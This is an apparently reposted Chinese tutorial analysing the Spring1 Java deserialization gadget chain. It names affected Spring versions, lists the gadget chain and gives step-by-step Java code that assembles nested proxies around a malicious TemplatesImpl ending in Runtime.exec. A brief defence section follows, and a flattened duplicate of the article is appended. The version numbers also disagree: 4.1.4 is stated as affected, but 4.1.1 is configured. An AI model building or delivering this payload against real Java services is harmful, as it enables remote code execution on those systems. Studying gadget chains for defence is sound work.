Java反序列化之Spring1链分析
字数 1848 2025-08-20 18:17:41

Java反序列化漏洞分析:Spring1链详解

一、漏洞概述

Spring1链是Java反序列化漏洞中的一条经典利用链,影响以下版本:

  • spring-core: 4.1.4.RELEASE
  • spring-beans: 4.1.4.RELEASE

二、环境准备

依赖配置

<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.1.1.RELEASE</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>4.1.1.RELEASE</version>
</dependency>

三、关键类分析

1. MethodInvokeTypeProvider

位于org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider,实现了TypeProvider接口,可序列化。

关键方法:readObject

  1. 调用ReflectionUtils.findMethod(),参数为provider.getType().getClass()methodName
  2. 调用ReflectionUtils.invokeMethod()反射执行找到的方法

2. ObjectFactoryDelegatingInvocationHandler

位于org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler,实现了SerializableInvocationHandler接口。

关键特性:

  • 代理时会调用ObjectFactorygetObject方法返回实例
  • 用于Method的反射调用

3. AnnotationInvocationHandler

位于sun.reflect.annotation.AnnotationInvocationHandler

关键特性:

  • 通过memberValues存储方法名与返回值的映射
  • 代理类方法调用时,会根据方法名从memberValues中获取返回值

四、利用链分析

完整Gadget Chain:

ObjectInputStream.readObject()
   SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
      SerializableTypeWrapper.TypeProvider(Proxy).getType()
         AnnotationInvocationHandler.invoke()
            HashMap.get()
      ReflectionUtils.findMethod()
      SerializableTypeWrapper.TypeProvider(Proxy).getType()
         AnnotationInvocationHandler.invoke()
            HashMap.get()
      ReflectionUtils.invokeMethod()
         Method.invoke()
            Templates(Proxy).newTransformer()
               AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
                  ObjectFactory(Proxy).getObject()
                     AnnotationInvocationHandler.invoke()
                        HashMap.get()
                  Method.invoke()
                     TemplatesImpl.newTransformer()
                        TemplatesImpl.getTransletInstance()
                           TemplatesImpl.defineTransletClasses()
                              TemplatesImpl.TransletClassLoader.defineClass()
                                 Pwner*(Javassist-generated).<static init>
                                    Runtime.exec()

五、详细利用步骤

1. 构造恶意TemplatesImpl

TemplatesImpl tmpl = Util.SeralizeUtil.generateTemplatesImpl();

2. 代理ObjectFactory.getObject方法

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String, Object> map = new HashMap<>();
map.put("getObject", tmpl);

InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
        ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

3. 构造ObjectFactoryDelegatingInvocationHandler

Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);

4. 代理Type和Templates接口

Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
        new Class[]{Type.class, Templates.class}, ofdHandler);

5. 代理TypeProvider.getType方法

HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);

InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
        new Class[]{typeProviderClass}, newInvocationHandler);

6. 构造MethodInvokeTypeProvider

Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");

六、漏洞触发流程

  1. 反序列化入口:MethodInvokeTypeProvider.readObject()
  2. 调用provider.getType()触发第一个AnnotationInvocationHandler代理
  3. ReflectionUtils.findMethod()查找newTransformer方法
  4. ReflectionUtils.invokeMethod()触发ObjectFactoryDelegatingInvocationHandler.invoke()
  5. 调用objectFactory.getObject()触发第二个AnnotationInvocationHandler代理
  6. 返回TemplatesImpl实例并反射调用newTransformer()
  7. 最终执行恶意代码

七、技术要点总结

  1. 多层代理嵌套

    • 使用AnnotationInvocationHandler代理TypeProviderObjectFactory
    • 使用ObjectFactoryDelegatingInvocationHandler连接两个代理层
  2. 类型欺骗

    • 创建同时实现TypeTemplates接口的代理类
    • 确保getType()返回的类能找到newTransformer方法
  3. 反射控制

    • 通过反射设置MethodInvokeTypeProvidermethodName字段
    • 控制方法调用的返回值链

八、防御建议

  1. 升级Spring框架到安全版本
  2. 使用安全的反序列化机制,如白名单过滤
  3. 监控和限制反序列化操作

九、参考资源

  1. su18.org - ysoserial-su18-3
  2. ch1e.cn - spring系列反序列化链
  3. wooyun.js.org - Java反序列化工具ysoserial分析
  4. tttang.com - 反序列化漏洞分析
Java反序列化漏洞分析:Spring1链详解 一、漏洞概述 Spring1链是Java反序列化漏洞中的一条经典利用链,影响以下版本: spring-core: 4.1.4.RELEASE spring-beans: 4.1.4.RELEASE 二、环境准备 依赖配置 三、关键类分析 1. MethodInvokeTypeProvider 位于 org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider ,实现了 TypeProvider 接口,可序列化。 关键方法:readObject 调用 ReflectionUtils.findMethod() ,参数为 provider.getType().getClass() 和 methodName 调用 ReflectionUtils.invokeMethod() 反射执行找到的方法 2. ObjectFactoryDelegatingInvocationHandler 位于 org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler ,实现了 Serializable 和 InvocationHandler 接口。 关键特性: 代理时会调用 ObjectFactory 的 getObject 方法返回实例 用于 Method 的反射调用 3. AnnotationInvocationHandler 位于 sun.reflect.annotation.AnnotationInvocationHandler 。 关键特性: 通过 memberValues 存储方法名与返回值的映射 代理类方法调用时,会根据方法名从 memberValues 中获取返回值 四、利用链分析 完整Gadget Chain: 五、详细利用步骤 1. 构造恶意TemplatesImpl 2. 代理ObjectFactory.getObject方法 3. 构造ObjectFactoryDelegatingInvocationHandler 4. 代理Type和Templates接口 5. 代理TypeProvider.getType方法 6. 构造MethodInvokeTypeProvider 六、漏洞触发流程 反序列化入口: MethodInvokeTypeProvider.readObject() 调用 provider.getType() 触发第一个 AnnotationInvocationHandler 代理 ReflectionUtils.findMethod() 查找 newTransformer 方法 ReflectionUtils.invokeMethod() 触发 ObjectFactoryDelegatingInvocationHandler.invoke() 调用 objectFactory.getObject() 触发第二个 AnnotationInvocationHandler 代理 返回 TemplatesImpl 实例并反射调用 newTransformer() 最终执行恶意代码 七、技术要点总结 多层代理嵌套 : 使用 AnnotationInvocationHandler 代理 TypeProvider 和 ObjectFactory 使用 ObjectFactoryDelegatingInvocationHandler 连接两个代理层 类型欺骗 : 创建同时实现 Type 和 Templates 接口的代理类 确保 getType() 返回的类能找到 newTransformer 方法 反射控制 : 通过反射设置 MethodInvokeTypeProvider 的 methodName 字段 控制方法调用的返回值链 八、防御建议 升级Spring框架到安全版本 使用安全的反序列化机制,如白名单过滤 监控和限制反序列化操作 九、参考资源 su18.org - ysoserial-su18-3 ch1e.cn - spring系列反序列化链 wooyun.js.org - Java反序列化工具ysoserial分析 tttang.com - 反序列化漏洞分析